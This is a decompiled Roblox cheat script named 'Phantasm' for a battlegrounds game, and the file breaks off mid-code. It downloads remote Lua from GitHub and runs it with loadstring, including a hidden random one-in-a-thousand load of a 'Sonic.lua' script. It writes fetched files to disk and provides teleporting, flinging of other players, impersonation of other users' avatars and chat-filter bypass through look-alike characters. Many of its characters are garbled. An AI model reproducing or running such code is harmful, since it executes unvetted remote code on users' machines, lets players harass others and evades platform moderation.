-- ts file was generated at discord.gg/25ms if not game:IsLoaded() then game.Loaded:Wait() end if getgenv().SonicEXE_Executed then return else if math.random(1, 1000) == 1 then getgenv().SonicEXE_Executed = true loadstring(game:HttpGet('https://raw.githubusercontent.com/secretisadev/Phantasm/refs/heads/main/Sonic.lua'))() end local u1 = tick() local v3 = setmetatable({}, { __index = function(_, p2) return cloneref(game:GetService(p2)) end, }) local _Players = v3.Players local _LocalPlayer = _Players.LocalPlayer local u6 = _LocalPlayer:GetMouse() local _Workspace = v3.Workspace local _CoreGui = v3.CoreGui local _ = _LocalPlayer.PlayerGui local _ = v3.GuiService local u9 = nil local _ = protectgui if get_hidden_gui or gethui then u9 = (get_hidden_gui or gethui)() elseif _CoreGui:FindFirstChild('RobloxGui') then u9 = _CoreGui.RobloxGui end local u10 if u9:FindFirstChild('LoadingGui') then u10 = nil else local _ScreenGui = Instance.new('ScreenGui', u9) _ScreenGui.ResetOnSpawn = false _ScreenGui.DisplayOrder = math.huge _ScreenGui.Name = 'LoadingGui' u10 = Instance.new('TextLabel', _ScreenGui) u10.Text = '' u10.TextSize = 15 u10.Font = Enum.Font.Gotham u10.TextTransparency = 0 u10.BackgroundTransparency = 1 u10.TextColor3 = Color3.fromRGB(255, 255, 255) u10.Position = UDim2.new(0.5, 0, 0.085, 0) u10.ZIndex = math.huge local v12 = 0 local v13 = 'Loading..' repeat v12 = v12 + 1 u10.Text = v13:sub(1, v12) task.wait(0.03) until u10.Text == v13 or not _ScreenGui end if not isfolder('Libraries') then u10.Text = "Creating 'Libraries'" makefolder('Libraries') end if not isfile('Libraries/sha.lua') then u10.Text = "Downloading 'sha.lua'" writefile('Libraries/sha.lua', game:HttpGet('https://raw.githubusercontent.com/secretisadev/Backup/refs/heads/main/sha.lua')) end local v14 = loadfile('Libraries/sha.lua')() local _ = cloneref local u15 = not http_request and (not (request or syn and syn.request) and (not (fluxus and fluxus.request) and http)) if u15 then u15 = http.request end if not setclipboard and (not toclipboard and (not set_clipboard and Clipboard)) then local _ = Clipboard.set end if not (base64 and base64.decode or base64decode) then local _ = base64_decode end local _ = fireclickdetector local _ = firetouchinterest local u16 = false local u17 = false local u18 = {} if u15 and typeof(u15) == 'function' then local _ = v3.LocalizationService local _Debris = v3.Debris local _RunService = v3.RunService local _RenderStepped = _RunService.RenderStepped local _Heartbeat = _RunService.Heartbeat local _Stepped = _RunService.Stepped local _PreSimulation = _RunService.PreSimulation local _ = _RunService.PostSimulation local _ = _RunService.PreAnimation local _ReplicatedStorage = v3.ReplicatedStorage local _ = v3.MarketplaceService local _UserInputService = v3.UserInputService local _TextChatService = v3.TextChatService local _ = _TextChatService.BubbleChatConfiguration local _TweenService = v3.TweenService local _TeleportService = v3.TeleportService local _ = v3.MarketplaceService local _ = v3.SoundService local _Stats = v3.Stats local _ = v3.ScriptContext local _ = v3.ContentProvider local _StarterGui = v3.StarterGui local _HttpService = v3.HttpService local _ = v3.Chat local _Lighting = v3.Lighting local _ = v3.PhysicsService local _ = v3.TestService local _ = v3.CaptureService local _ = v3.ProximityPromptService if loadstring(game:HttpGet('https://raw.githubusercontent.com/secretisadev/Phantasm/refs/heads/main/Active.lua'))() then if getgenv().PhantasmExecuted then return _StarterGui:SetCore('SendNotification', { Text = 'Phantasm', Text = 'Phantasm is already loading/loaded.', Duration = 3, }) end getgenv().PhantasmExecuted = true local _RobloxReplicatedStorage = v3.RobloxReplicatedStorage local _RbxAnalyticsService = v3.RbxAnalyticsService local u36 = { ['Above Tunnel'] = CFrame.new(-301, 594, -322), Arena = CFrame.new(-130, 440, -373), ['Atomic Slash'] = CFrame.new(1064, 131, 23007), Baseplate = CFrame.new(1073, 406, 22984), ['Below Baseplate'] = CFrame.new(1073, 20, 22984), ['Bigger Jail'] = CFrame.new(290, 440, 465), ['Even Bigger Jail'] = CFrame.new(378, 439, 457), ['Dark Domain'] = CFrame.new(-80, 84, 20395), ['Death Counter'] = CFrame.new(-66, 29, 20383), Jail = CFrame.new(440, 440, -395), ['Jail But Smaller'] = CFrame.new(20, 439, -460), Middle = CFrame.new(150, 441, 32), ['Mountain 1'] = CFrame.new(9, 653, -363), ['Mountain 2'] = CFrame.new(-1, 653, -354), ['Mountain Edge'] = CFrame.new(-297, 594, -336), Void = CFrame.new(0, -10000, 0), } local v37, v38, v39 = pairs(u36) local v40 = {} local u41 = {} local u42 = {Notification = 4590657391} local u43 = {} local u44 = {Players = {}} local u45 = {} while true do v39 = v37(v38, v39) if v39 == nil then break end table.insert(v40, v39) end table.sort(v40) local u46 = { ['Atomic Slash'] = CFrame.new(1064, 131, 23007) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), Arena = CFrame.new(-130, 440, -373) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), Baseplate = CFrame.new(1073, 407, 22984) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), ['Below Baseplate'] = CFrame.new(1073, 20, 22984) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), Jail = CFrame.new(440, 440, -395) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), ['Jail But Smaller'] = CFrame.new(20, 439, -460) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), ['Bigger Jail'] = CFrame.new(290, 440, 465) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), ['Even Bigger Jail'] = CFrame.new(378, 439, 457) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), ['Dark Domain'] = CFrame.new(-80, 84, 20395) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), ['Death Counter'] = CFrame.new(-66, 29, 20383) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), Middle = CFrame.new(155, 441, 45) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), ['Mountain 1'] = CFrame.new(306, 671, 411) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), ['Mountain 2'] = CFrame.new(-1, 653, -354) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), ['Mountain Edge'] = CFrame.new(-297, 594, -336) * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0), Void = CFrame.new(169, 218, 102) * CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(90), 0, 0), } local v47, v48, v49 = pairs(u46) local v50 = {} while true do v49 = v47(v48, v49) if v49 == nil then break end table.insert(v50, v49) end table.sort(v50) local v51 = { Normal = { 'did you really think you could kill me TheEnemysNameHere....?', 'did you forget its me, YourUppercaseNameHere?', "I'm not gonna let that slide, TheEnemysNameHere.", }, Gojo = { 'YOU LOOK UGLIER THAN EVER, TheEnemysUppercaseNameHere!!', }, } v51.Gojo[#v51.Gojo + 1] = { { Quote = 'It took me a while..', WaitTime = 2, }, { Quote = 'But I finally grasped it on the verge of death TheEnemysNameHere..', WaitTime = 2, }, { Quote = 'The true essence of cursed energy..', WaitTime = 2, }, { Quote = 'REVERSE CURSED TECHNIQUE!!', WaitTime = 0, }, } local v52 = table.find({ Enum.Platform.IOS, Enum.Platform.Android, }, _UserInputService:GetPlatform()) and true or false local u53 = { 'rbxassetid://12351854556', 'rbxassetid://15311685628', 'rbxassetid://15128849047', } local u54 = { 'rbxassetid://13603396939', 'rbxassetid://15334974550', 'rbxassetid://15123665491', } local u55 = { 'rbxassetid://10470389827', 'rbxassetid://13380778193', 'rbxassetid://13935548552', 'rbxassetid://13380778193', } local u56 = { 'rbxassetid://10480796021', 'rbxassetid://10480793962', } ({}).Saitama = 'rbxassetid://12447707844' local u57 = { ID = 'rbxassetid://136370737633649', TimePosition = 4.5, } local u58 = {18182425133, 136370737633649} local u59 = { Invisibility = false, ['Upside Down'] = false, ['Velocity Spoof'] = false, Flying = false, ['Pause Orbit'] = false, ['Trashcan Launch'] = false, ['Doing Wall Combo Anywhere'] = false, ['Velocity Spoof Settings'] = Vector3.new(0, 0, 0), } local u60 = {} local u61 = {} local u62 = {} local u63 = {} function GetServerType() local _GetServerType = _RobloxReplicatedStorage:WaitForChild('GetServerType', 1) return not _GetServerType and 'Unknown Server' or _GetServerType:InvokeServer() end function GetServerVersion() local _GetServerVersion = _RobloxReplicatedStorage:WaitForChild('GetServerVersion', 1) return not _GetServerVersion and 'Unknown Version' or _GetServerVersion:InvokeServer() end local u66 = GetServerType() local u67 = GetServerVersion() function Create(p68, p69) if typeof(p68) == 'string' then p68 = Instance.new(p68) end local v70 = next local v71 = nil while true do local u72, u73 = v70(p69, v71) if u72 == nil then break end v71 = u72 local v74, v75 = pcall(function() p68[u72] = u73 end) if not v74 then warn(v75) end end return p68 end function Draw(p76, p77) if typeof(p76) == 'string' then p76 = Drawing.new(p76) end local v78 = next local v79 = nil while true do local u80, u81 = v78(p77, v79) if u80 == nil then break end v79 = u80 local v82, v83 = pcall(function() p76[u80] = u81 end) if not v82 then warn(v83) end end return p76 end function fetchAvatar() local u84 = nil pcall(function() local v85 = 'https://thumbnails.roblox.com/v1/users/avatar-headshot?userIds=' .. _LocalPlayer.UserId .. '&size=150x150&format=Png' u84 = _HttpService:JSONDecode((game:HttpGet(v85))).data[1].imageUrl end) return u84 or 'https://tr.rbxcdn.com/30DAY-AvatarHeadshot-310966282D3529E36976BF6B07B1DC90-Png/150/150/AvatarHeadshot/Png/noFilter' end function bypassText(p86) return p86 end function holiday(p87, p88) local v96 = ({ ['01 01'] = '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}', [(function(p89) local v90 = math.floor(p89 / 100) local v91 = (15 - math.floor((13 + 8 * v90) / 25) + v90 - math.floor(v90 / 4)) % 30 local v92 = (4 + v90 - math.floor(v90 / 4)) % 7 local v93 = (19 * (p89 % 19) + v91) % 30 local v94 = (2 * (p89 % 4) + 4 * (p89 % 7) + 6 * v93 + v92) % 7 local v95 = 22 + v93 + v94 if v93 == 29 and v94 == 6 then return '04 19' elseif v93 == 28 and v94 == 6 then return '04 18' elseif v95 > 31 then return ('04 %02d'):format(v95 - 31) else return ('03 %02d'):format(v95) end end)(tonumber(os.date('%Y')))] = '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}', ['10 31'] = '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}', })[os.date('%m %d')] if v96 then return ('%s %s %s'):format(v96, p87, v96) end local v97 = { ['12 25'] = '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}', } if p88 and p88.entireChristmas then for v98 = 1, 31 do v97['12 ' .. tostring(v98)] = ({ '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}', '\u{fffd}\u{fffd}', })[math.random(1, 2)] end end if v97[os.date('%m %d')] then local _ = ('%s %s %s').format end return p87 end function formatDateTime(p99) local v109 = (function(p100) local _dddTddd, v102 = p100:match('^(%d+-%d+-%d+)T(%d+:%d+:%d+)') if not (_dddTddd and v102) then return nil end local _ddd, v104, v105 = _dddTddd:match('(%d+)-(%d+)-(%d+)') local _ddd2, v107, v108 = v102:match('(%d+):(%d+):(%d+)') return os.time({ year = tonumber(_ddd), month = tonumber(v104), day = tonumber(v105), hour = tonumber(_ddd2), min = tonumber(v107), sec = tonumber(v108), isdst = false, }) end)(p99) if v109 then local v110 = os.time() local v111 = os.difftime(v110, v109) local _ABdmY = os.date('%A %B %d/%m/%Y', v109) if v111 < 86400 then local v113 = math.floor(v111 / 3600) return _ABdmY .. ' (' .. v113 .. ' hour' .. (v113 ~= 1 and 's' or '') .. ' ago)' elseif v111 < 31536000 then local v114 = math.floor(v111 / 86400) return _ABdmY .. ' (' .. v114 .. ' day' .. (v114 ~= 1 and 's' or '') .. ' ago)' else local v115 = math.floor(v111 / 31536000) return _ABdmY .. ' (' .. v115 .. ' year' .. (v115 ~= 1 and 's' or '') .. ' ago)' end else return 'Invalid date format' end end function messageToQuote(p116, p117) return p116:gsub('TheEnemysNameHere', p117.DisplayName):gsub('TheEnemysUppercaseNameHere', p117.DisplayName:upper()):gsub('YourNameHere', _LocalPlayer.DisplayName):gsub('YourUppercaseNameHere', _LocalPlayer.DisplayName:upper()) end local u118 = {} function disguiseAsPlayer(p119) if #p119 ~= 0 then local v120 = getChar if v120 then v120 = getChar(_LocalPlayer) end local v121 if v120 then v121 = getHumanoid(v120) else v121 = v120 end v120:SetAttribute('DisguiseName', p119) local u122 = nil pcall(function() u122 = _Players:GetUserIdFromNameAsync(p119) end) local v123 if u122 then v123 = _Players:GetCharacterAppearanceAsync(u122) else v123 = u122 end if v120 and (v121 and (u122 and v123)) then local v124 if v120 then v124 = v120:WaitForChild('Head', 1) else v124 = v120 end if v124 then local v125, v126, v127 = pairs(v120:GetChildren()) local v128 = { 'Accessory', 'Shirt', 'Pants', 'CharacterMesh', 'BodyColors', 'ShirtGraphic', } while true do local v129 v127, v129 = v125(v126, v127) if v127 == nil then break end local v130, v131, v132 = pairs(v128) while true do local v133 v132, v133 = v130(v131, v132) if v132 == nil then break end if v129:IsA(v133) then task.spawn(pcall, deleteNew, v129, false) end end end local v134, v135, v136 = pairs(v124:GetChildren()) while true do local v137 v136, v137 = v134(v135, v136) if v136 == nil then break end if v137:IsA('SpecialMesh') and table.find(u118, v137) then task.spawn(pcall, deleteNew, v137, false) end end local _face = v124:FindFirstChild('face') if _face then _face:Destroy() end local v139, v140, v141 = pairs(v123:GetChildren()) while true do local v142 v141, v142 = v139(v140, v141) if v141 == nil then break end if v142:IsA('Shirt') or (v142:IsA('Pants') or (v142:IsA('BodyColors') or v142:IsA('ShirtGraphic'))) then v142.Parent = _LocalPlayer.Character elseif v142:IsA('Accessory') then v142.Name = '#ACCESSORY_' .. v142.Name v142.Parent = _LocalPlayer.Character elseif v142:IsA('SpecialMesh') then table.insert(u118, v142) v142.Parent = _LocalPlayer.Character.Head elseif v142.Name ~= 'R6' then if v142.Name == 'R15' and _LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then v142:FindFirstChildOfClass('CharacterMesh').Parent = _LocalPlayer.Character end elseif _LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then v142:FindFirstChildOfClass('CharacterMesh').Parent = _LocalPlayer.Character end end local _face2 = v123:FindFirstChild('face') if _face2 then _face2.Parent = v124 else local _Decal = Instance.new('Decal', v124) _Decal.Face = 'Front' _Decal.Name = 'face' _Decal.Texture = 'rbxasset://textures/face.png' _Decal.Transparency = 0 end local _Parent = v120.Parent v120.Parent = nil v120.Parent = _Parent end end end end function WaitForChildWhichIsA(p146, p147, p148) local v149 = tick() if not p146:FindFirstChildWhichIsA(p147) then repeat task.wait() until p146:FindFirstChildWhichIsA(p147) or p148 and tick() >= v149 + p148 end return p146:FindFirstChildWhichIsA(p147) or nil end function getPlayer(p150, p151, p152) local v153 = _Players local v154, v155, v156 = pairs(v153:GetPlayers()) while true do local v157 v156, v157 = v154(v155, v156) if v156 == nil then break end if (v157.Name:lower():find('^' .. p150:lower()) or v157.DisplayName:lower():find('^' .. p150:lower())) and (v157 ~= _LocalPlayer or p152) then return v157 end end if p151 and #_Players:GetChildren() >= 2 then repeat local v158 = _Players local v159 = _Players:GetChildren()[math.random(1, #v158:GetChildren())] task.wait() until v159 ~= _LocalPlayer end return nil end function getAllPlayers() local v160 = _Players:GetPlayers() table.remove(v160, table.find(v160, _LocalPlayer)) local v161, v162, v163 = pairs(u63) while true do local v164 v163, v164 = v161(v162, v163) if v163 == nil then break end table.remove(v160, table.find(v160, v164)) end return v160 end function getHighestStreak() local v165 = _Players local v166, v167, v168 = pairs(v165:GetPlayers()) local v169 = 0 local v170 = nil while true do local v171 v168, v171 = v166(v167, v168) if v168 == nil then break end local v172 = getChar(v171) local v173 = v172 and (v172:GetAttribute('CurrentStreak') or 0) or v172 if v172 then if v169 < v173 then v170 = v171 v169 = v173 end end end return v170 end function rejoin(p174) if typeof(p174) ~= 'table' or not p174 then p174 = nil end _LocalPlayer:Kick(p174 and (p174.Message or 'Rejoining....') or 'Rejoining....') task.delay(p174 and p174.Delay or 0.1, function() if u66 ~= 'VIPServer' then _TeleportService:TeleportToPlaceInstance(game.PlaceId, game.JobId, _LocalPlayer) else _TeleportService:Teleport(game.PlaceId, _LocalPlayer) end end) end local u175 = nil function patchCamera(p176) if p176:IsA('Camera') then if u175 then u175:Disconnect() u175 = nil end if p176.CameraType ~= Enum.CameraType.Custom and Toggles.NoCameraAnimations.Value then task.spawn(fixCam) end u175 = p176:GetPropertyChangedSignal('CameraType'):Connect(function() if p176.CameraType ~= Enum.CameraType.Custom and Toggles.NoCameraAnimations.Value then task.spawn(fixCam) end end) end end function getChar(p177) return p177.Character end function getRoot(p178) return p178 and p178:FindFirstChild('HumanoidRootPart') or nil end function getHumanoid(p179) return p179 and p179:FindFirstChild('Humanoid') or nil end function getMagnitude(p180, p181) if typeof(p180) == 'number' then p180 = Vector3.new(p180, p180, p180) end if typeof(p181) == 'number' then p181 = Vector3.new(p181, p181, p181) end return (p180 - p181).Magnitude end function fixCam() if not getChar(_LocalPlayer) then repeat task.wait() until getChar(_LocalPlayer) end local v182 = getChar(_LocalPlayer) local v183 if v182 then v183 = getHumanoid(v182) else v183 = v182 end if v182 and (v183 and workspace.CurrentCamera) then local _CFrame = _Workspace.CurrentCamera.CFrame _Workspace.CurrentCamera:Destroy() local _Camera = Instance.new('Camera', _Workspace) _Camera.CameraType = 'Custom' _Camera.CameraSubject = v183 _Camera.CFrame = _CFrame _LocalPlayer.CameraMode = 'Classic' v182:WaitForChild('Head', 1).Anchored = false end end function sendMsg(p186) if _TextChatService.ChatVersion ~= Enum.ChatVersion.LegacyChatService then if _TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then local _TextChannels = _TextChatService.TextChannels local _RBXGeneral = _TextChannels:FindFirstChild('RBXGeneral') if _TextChannels and _RBXGeneral then _RBXGeneral:SendAsync(p186) end end else local _DefaultChatSystemChatEvents = _ReplicatedStorage:FindFirstChild('DefaultChatSystemChatEvents') local v190 if _DefaultChatSystemChatEvents then v190 = _DefaultChatSystemChatEvents:FindFirstChild('SayMessageRequest') else v190 = _DefaultChatSystemChatEvents end if _DefaultChatSystemChatEvents and v190 then v190:FireServer(p186, 'all') end end end function closestPlayer(p191, p192) local v193 = getChar if v193 then v193 = getChar(_LocalPlayer) end local _huge = math.huge local v195 = _Players local v196, v197, v198 = pairs(v195:GetPlayers()) local v199 = nil while true do local v200 v198, v200 = v196(v197, v198) if v198 == nil then break end if getChar(v200) and v200 ~= _LocalPlayer then local v201 = getChar(v200) local v202 = getHumanoid(v201) if v202 and v202.Health ~= 0 then if v201 then v201 = getRoot(v201) end local v203 = nil if p191 then v203 = (u6.Hit.p - v201.Position).Magnitude elseif not p191 then v203 = (getRoot(v193).Position - v201.Position).Magnitude end if v203 < _huge then if p192 then if not isFlung(v200) then v199 = v200 _huge = v203 end elseif not p192 then v199 = v200 _huge = v203 end end end end end return v199 end function closestPlayerV2(p204, p205) local v206 = getChar(_LocalPlayer) local v207 if v206 then v207 = getRoot(v206) else v207 = v206 end local v208 = nil if v206 and v207 then local _huge2 = math.huge local v210 = _Players local v211, v212, v213 = pairs(v210:GetPlayers()) while true do local v214 v213, v214 = v211(v212, v213) if v213 == nil then break end if v214 ~= _LocalPlayer and getChar(v214) then local v215 = getChar(v214) local v216 if v215 then v216 = getRoot(v215) else v216 = v215 end local v217 if v215 then v217 = getHumanoid(v215) else v217 = v215 end if v215 and (v216 and (v217 and (v217.Health ~= 0 and workspace.CurrentCamera))) then local v218 = nil if p204 then local v219 = _Workspace.CurrentCamera:WorldToViewportPoint(v216.Position) local v220 = _UserInputService v218 = (Vector2.new(v219.X, v219.Y) - v220:GetMouseLocation()).Magnitude elseif not p204 then v218 = (v207.Position - v216.Position).Magnitude end if v218 < _huge2 then if p205 then if not isFlung(v214) then _huge2 = v218 v208 = v214 end elseif not p205 then _huge2 = v218 v208 = v214 end end end end end end return v208 end function heartbeatTp(p221) local v222 = getChar(_LocalPlayer) local u223 if v222 then u223 = getRoot(v222) else u223 = v222 end if v222 and u223 then task.spawn(function() _RenderStepped:Once(function() u223.Velocity = Vector3.new() _Heartbeat:Wait() u223.Velocity = Vector3.new() end) end) _Heartbeat:Once(function() u223.CFrame = p221 end) end end function breakVelocity(p224) assert(p224:IsA('BodyVelocity'), "Error Occured at function 'breakVelocity', Argument 1 must be a 'BodyVelocity'.") p224.MaxForce = Vector3.zero p224.Velocity = Vector3.zero _RenderStepped:Wait() p224:Destroy() end function clearVelocity() local v225 = getChar if v225 then v225 = getChar(_LocalPlayer) end if v225 then local v226, v227, v228 = pairs(v225:GetDescendants()) while true do local v229 v228, v229 = v226(v227, v228) if v228 == nil then break end if v229:IsA('BodyVelocity') and (v229 ~= BG and v229 ~= BV) then v229:Destroy() end end end end function randomAlphabeticalString(p230) local v231 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' local v232 = '' for _ = 1, p230 or math.random(3, 20)do local v233 = math.random(1, #v231) v232 = v232 .. v231:sub(v233, v233) end return v232 end function bypass(p234, p235) local v236 = p234:gsub(' ', '\20') local v237 = p235 == '\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd} ' local v238 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ' local v239 = '' for v240 = 1, utf8.len(v236)do local v241 = string.sub(v236, utf8.offset(v236, v240), utf8.offset(v236, v240 + 1) - 1) local v242 = string.find(v238, v241, 1, true) if v242 then v239 = v239 .. string.sub(p235, utf8.offset(p235, v242), utf8.offset(p235, v242 + 1) - 1) .. (v237 and '\20' or '') else v239 = v239 .. v241 .. (v237 and '\20' or '') end end return v239 end function createCaseInsensitivePattern(p243) local v244 = '' for v245 = 1, #p243 do local v246 = p243:sub(v245, v245) if v246:lower() ~= v246:upper() then v244 = v244 .. '[' .. v246:upper() .. v246:lower() .. ']' else v244 = v244 .. v246 end end return v244 end function convertToCyrillic(p247) local v248 = '' local v249 = { A = '\u{fffd}', a = '\u{fffd}', O = '\u{fffd}', o = '\u{fffd}', E = '\u{fffd}', e = '\u{fffd}', } for v250 = 1, #p247 do local v251 = p247:sub(v250, v250) v248 = v248 .. (v249[v251] or v251) end return v248 end function flingTp(p252) local v253 = getChar if v253 then v253 = getChar(p252) end local v254 = getRoot(v253) local v255 = getHumanoid(v253) if v253 and (v254 and v255) then local v256 = math.random(1, 2) if v256 == 1 then return v254.CFrame * CFrame.Angles(math.rad(math.random(-180, 180)), math.rad(0), math.rad(math.random(-180, 180))) end if v256 == 2 then return CFrame.new(v254.Position) * (CFrame.new(math.random(-5, 5), math.random(-2.5, 2.5), math.random(-5, 5)) + v255.MoveDirection * v254.Velocity.Magnitude / 1.25) * CFrame.Angles(math.rad(math.random(-180, 180)), math.rad(0), math.rad(math.random(-180, 180))) end end end function isFlung(p257) local v258 = getChar if v258 then v258 = getChar(p257) end local v259 if v258 then v259 = getRoot(v258) else v259 = v258 end return v258 and (v259 and v259.Velocity.Magnitude >= 2000) and true or false end function isDeathBlowing(p260) local v261 = getChar(p260) local v262 if v261 then v262 = getRoot(v261) else v262 = v261 end local v263 if v261 then v263 = getHumanoid(v261) else v263 = v261 end if v261 and (v262 and v263) then local v264, v265, v266 = pairs(v261:GetChildren()) while true do local v267 v266, v267 = v264(v265, v266) if v266 == nil then break end if v267:IsA('Tool') and v267.Name == 'Death Blow' then return true end end if isAnimPlaying(v263, '15128849047') then return true end local v268 = _Players local v269, v270, v271 = pairs(v268:GetPlayers()) while true do local v272 v271, v272 = v269(v270, v271) if v271 == nil then break end if v272 ~= _LocalPlayer and v272 ~= p260 then local v273 = getChar(v272) local v274 if v273 then v274 = getRoot(v273) else v274 = v273 end local v275 if v273 then v275 = getHumanoid(v273) else v275 = v273 end if v273 and (v274 and (v275 and (v274.Position - v262.Position).Magnitude <= 100)) then local v276, v277, v278 = pairs(v273:GetChildren()) while true do local v279 v278, v279 = v276(v277, v278) if v278 == nil then break end if v279:IsA('Tool') and v279.Name == 'Death Blow' then return end end if isAnimPlaying(v275, '15128849047') then return true end end end end end return false end function grabRandom(_, p280) local v281 = getAllPlayers() local v282 = v281[math.random(1, #v281)] if v282 ~= _LocalPlayer then local v283 = getChar if v283 then v283 = getChar(_LocalPlayer) end local v284 if v283 then v284 = getRoot(v283) else v284 = v283 end local v285 = getChar if v285 then v285 = getChar(v282) end local v286 = getRoot(v285) local v287 = getHumanoid(v285) if v283 and (v284 and (v285 and (v286 and v287))) then if p280 then local v288, v289, v290 = pairs(v285:GetChildren()) while true do local v291 v290, v291 = v288(v289, v290) if v290 == nil then break end if v291:IsA('Tool') and v291.Name == 'Death Blow' then return end end if isAnimPlaying(v287, '15128849047') then return end local v292 = _Players local v293, v294, v295 = pairs(v292:GetPlayers()) while true do local v296 v295, v296 = v293(v294, v295) if v295 == nil then break end if v296 ~= _LocalPlayer and v296 ~= v282 then local v297 = getChar if v297 then v297 = getChar(v296) end local v298 = getRoot(v297) local v299 = getHumanoid(v297) if v297 and (v298 and (v299 and (v298.Position - v286.Position).Magnitude <= 100)) then local v300, v301, v302 = pairs(v297:GetChildren()) while true do local v303 v302, v303 = v300(v301, v302) if v302 == nil then break end if v303:IsA('Tool') and v303.Name == 